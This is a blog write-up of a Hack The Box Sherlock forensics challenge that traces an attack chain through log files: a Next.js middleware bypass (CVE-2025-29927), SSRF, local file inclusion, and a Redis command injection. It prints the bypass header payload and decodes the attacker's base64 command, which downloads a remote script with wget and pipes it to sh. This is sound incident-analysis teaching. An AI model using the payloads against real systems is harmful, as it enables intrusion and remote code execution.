NeuroSync-D HTB Sherlock Challenge: Investigating Next.js Middleware Bypass and Redis Injection

May 11, 2025    #linux   #sherlock   #dfir   #forensics   #nextjs   #react   #cve-2025-29927   #redis-injection   #ssrf   #lfi   #redis  

NeuroSync-D Hack The Box Sherlock Challenge Writeup:

Challenge Information:

Side Quest: What’s an N-Day?

An N-day is a vulnerability that is already publicly known however a patch may not be available or the user has not been able to patch the flaw just yet. This is common as rolling out updates to large organizations and networks can be a slow process.

1. Initial Analysis:

Challenge Files:

├──  access.log
├──  bci-device.log
├──  data-api.log
├──  interface.log
└──  redis.log

Lets take a look at these files.

1. interface.log

Looking at the file interface.log file we can see there is a an application called [email protected] dev & it’s a Next.js app. We can also see it’s being run in development mode as the command next dev is used, naughty naughty.

> [email protected] dev
> next dev

   ▲ Next.js 15.1.0
   - Local:        http://localhost:3000
   - Network:      http://172.17.0.2:3000
   - Experiments (use with caution):
     · webpackBuildWorker
     · parallelServerCompiles
     · parallelServerBuildTraces

We can also see the Next.js version is 15.1.0 and it’s running on localhost & port 3000.

2. Discovering the Application is Vulnerable to CVE-2025-29927:

By searching the Next.js version we can see that this version is vulnerable to a middleware attack https://nvd.nist.gov/vuln/detail/CVE-2025-29927

Reading the description of the vulnerability we see the following:

it is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware.

3. CVE-2025-29927 Explained:

Luckily one of the vulnerability researchers, Rachid.A, created this lovely blog post detailing their process and the vulnerability. I will break it down here also, however I would recommend you read their post though as I will just give a high-level overview of the vulnerability, whereas there’s goes into greater depth.

Side Quest: What is middleware?:

Middleware acts as a checkpoint that runs before the application decides what information to serve a request. It will inspect the incoming request and then it will modify how the application responds, like redirecting, changing headers, cookie management or blocking/dropping a reqeuest plus many other things.

Here are some basic examples of how middleware can be used in real world scenarios:

Next.js’s middleware vulnerability:

Next.js has it’s own middleware & I would recommend reading their documentation to get a broader understanding of how it works; however, I will provide an explanation below of why it was (is) vulnerable.

The runMiddleware function flaw:

The runMiddleware function checks the value of the x-middleware-subrequest header, which is expected to be a colon-separated list of middleware names (hence the subreq.split(':') operation below ). Based on this, it determines whether a particular middleware should be applied.

// Check the value of the header
const subreq = params.request.headers[`x-middleware-subrequest`]
   //Splitting the header into a list.
   const subrequests = typeof subreq === 'string' ? subreq.split(':') : []

If the current middleware’s name AKA middlewareInfo.name is already listed in subrequests, that means the middleware has already been invoked earlier in the request chain and should be skipped, and the request will be forwarded via the NextResponse.next() function and continue to the specified destination. (If you caught that you will know why that’s interesting, however lets’ carry on). If the middleWareInfor.name is not listed in the subrequests the middleware is executed via the run() function, and its response is handled accordingly.

 if (subrequests.includes(middlewareInfo.name)) {
          result = {
            response: NextResponse.next(),
            waitUntil: Promise.resolve(),
          }
          continue
        }

This logic was likely implemented to avoid redundant middleware execution and reduce overhead during internal subrequests, ultimately improving performance. However, the issue is. If an attacker can craft a request with the correct middleware name in the x-middleware-subrequest header, they can effectively bypass the middleware check. The server assumes the middleware has already been run and responds with NextResponse.next(), forwarding the request to its intended destination without reapplying the middleware logic.

As Rachid.A/Zhero states in his post.

The header and its value act as a universal key allowing rules to be overridden.

Determining where the “universal Key” is:

For this attack to work the middlewareInfo.name (the middleware name) has to be known, however, for all intents and purposes this is pretty easy to guess as the middlewareInfo.name = the path where the middleware is located.

According to the next.js documentation below.

As an alternative to having the special Next.js `app` or `pages` directories in the root of your project, Next.js also supports the common pattern of placing application code under the `src` folder.

……..

We can see that the middleware should be placed in the src folder. So the payload ~would~ could be.

x-middleware-subrequest: src/middleware

However, according to the blogpost in later versions, the logic has changed slightly and the directory src may (not always) be omitted and the subrequests value (the header value once all values have been separated) must be greater then or equal to the predefined constant of (5) in the code.

What does that mean in English, I hear your cry. All it means is the following either our payload is this.

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

# Or our payload is this
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

Notice the amount of “middleware” entries is 5 which is equal to the hard-coded value of 5.

+Note+: I know this seems like superfluous information, however once we get into the logs having this understanding of the vulnerability logic will enable you to understand what is going on in greater depth.

4. Analyzing interface.log Further:

So now we know how the vulnerability works we can check if the next.js application is vulnerable.

If we look at lines 28 & 29 of interface.log we can see that the /middleware folder which, unsurprisingly, contains the middleware was compiled, this would indicate it was accessed at this time as when in development mode next.js compiles routes, middleware, and components on-demand when first requested. This is to support hot reloading, faster startup, and incremental updates.

 ○ Compiling /middleware ...
 ✓ Compiled /middleware in 1262ms (167 modules)

We see that it was compiled due to someone trying to access the /api/bci/analytics endpoint. The lines are long so I will post a breakdown underneath so they are more legible.

2025-04-01T11:37:58.163Z - 10.129.231.211 - GET - http://localhost:3000/api/bci/analytics

Headers of Interest:

["host","10.129.231.215"],
["x-forwarded-for","10.129.231.211"],
["x-real-ip","10.129.231.211"],
["x-forwarded-host","10.129.231.215"],
["x-forwarded-port","3000"],
["x-middleware-subrequest","middleware"],

These headers tell us:

+Note+:

Each subsequent line is just the requests made to the application e.g. PUT, GET etc.

Now the above may not seem like it tells us much, however it tells us that middleware was active for the endpoint /api/bci/analytics so we can start looking for IOC’s in other logs by filtering for this endpoint.

5. Cross-referencing Middleware Compilation Time Against access.log:

If we look at the access.log we can see a list of all requests made.

We see the attackers fuzzed for the next.js files framework.js, main.js & common.js using the path /_next/static/chunks, however they received a 404 response. We can deduce this as the requests came from the compromised host 10.129.231.211.

We can then see they were able to access the following resources:

After which we see them access the /api/bci/analytics endpoint at 11:37:58.

If we cross reference this time against the interface.log file we can see that the compilation of the middleware began at 11:37:58. As mentioned before when in development mode middleware is compiled at execution time only, so we can safely assume this is the attackers.

6. Finding The Middleware Bypass Time By Way of CVE-2025-29927 Exploitation:

Looking at the access.log file we can also see the exact time the attackers bypassed the middleware by way of the vulnerable endpoint /api/bci/analytics. We can see that the previous attempts received a 401 GONE response however at 11:38:05 they received a 200 OK, signifying they successfully bypassed the middleware.

As we can see the previous attempts failed we can assume the payload below was the one successfully used to exploit this vulnerability:

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

7. SSRF Vulnerability & Internal Bruteforce:

We are informed of the following.

The attacker chained the vulnerability with an SSRF attack, which allowed them to perform an internal port scan and discover an internal API.

Looking at the data-api.log file we can see further IOC’s. The attacker is bruteforcing for endpoints on the internal API.

If we filter by using the following command we can see all the GET requests that come from local host 127.0.0.1

cat data-api.log | grep 127 | grep GET | head

8. Discovering /logs Is Vulnerable to Local File Inclusion:

We can see that eventually the attacker finds the endpoint /logs and they use to access logs.

They then perform a local file inclusion attack to read the /etc/passwd file.

9. Attacker Getting Access to secret.key:

Looking further at the data-api.log file we can see the attacker were able to access the file secret.key in the /tmp directory.

As there were no longer any further LFI attacks uses once the secret.key file was discovered at 11:39:24 we can assume the attackers were able to leverage this information to again move laterally or further into the system.

10. Redis Injection Attack:

Looking at the redis.log we can see the below entry pushing to the redis db.

Let’s break this down.

Analyzing the Redis Command Injection Payload:

The full Redis command observed is structured as follows:
"RPUSH" "bci_commands" "OS_EXEC|d2dldCBodHRwOi8vMTg1LjIwMi4yLjE0Ny9oNFBsbjQvcnVuLnNoIC1PLSB8IHNo|f1f0c1feadb5abc79e700cac7ac63cccf91e818ecf693ad7073e3a448fa13bbb"

Here’s a breakdown of each part:

OS_EXEC|<base64_encoded_command>|<hash>
Decoding the Base64-Encoded Command:

Let’s extract and decode the Base64 portion of the payload.

echo d2dldCBodHRwOi8vMTg1LjIwMi4yLjE0Ny9oNFBsbjQvcnVuLnNoIC1PLSB8IHNo | base64 -d

This decodes to:

wget http://185.202.2.147/h4Pln4/run.sh -O- | sh

So this command downloads a remote shell script and pipes it directly into the shell, effectively executing arbitrary code on the system.

11. Correlating Time Stamps & Discovering APT Server Location:

Time Stamp Correlation:

+Note+: This does not need to be done I am just doing it for comprehensiveness. If we correlate the above redis injection attack with the bci-device.log file we can see the payload in clear text.

2025-04-01 11:39:26 BCI (Device): Executing OS command: wget http://185.202.2.147/h4Pln4/run.sh -O- | sh
2025-04-01 11:39:26 BCI (Device): Command output: sh: 1: wget: not found

This took place at 11:39:26. We can use https://www.unixtimestamp.com/ to convert the timestamp in the redis.log file and it’s at the same time (as expected)

Server Location:

If we check where this IP is located we can see it is located in Moskva, Russia.

+Note+: Searching for “h4Pln4” in Google yield no results.

Lessons Learned:

What did I learn?

  1. I actually learned alot about Node.js, I had some familiarity with it before but learned alot by reading the great article, which I will link again here . I personally find I learn a huge amount when breaking down CVE’s etc.
  2. It was fun to touch on redis injection as again this was something I was not hugely familiar with.

What mistakes did I make?

  1. Just copy and paste friends, the amount of mistakes I made trying re-type something.

Sign off:

Remember, folks as always: with great power comes great responsibility. Use this knowledge wisely, and always stay on the right side of the law!

Until next time, hack the planet!

– Bloodstiller

– Get in touch [email protected]



Next: SmartyPants HTB Sherlock Challenge: Analyzing Windows RDP Compromise Through Event Logs and SmartScreen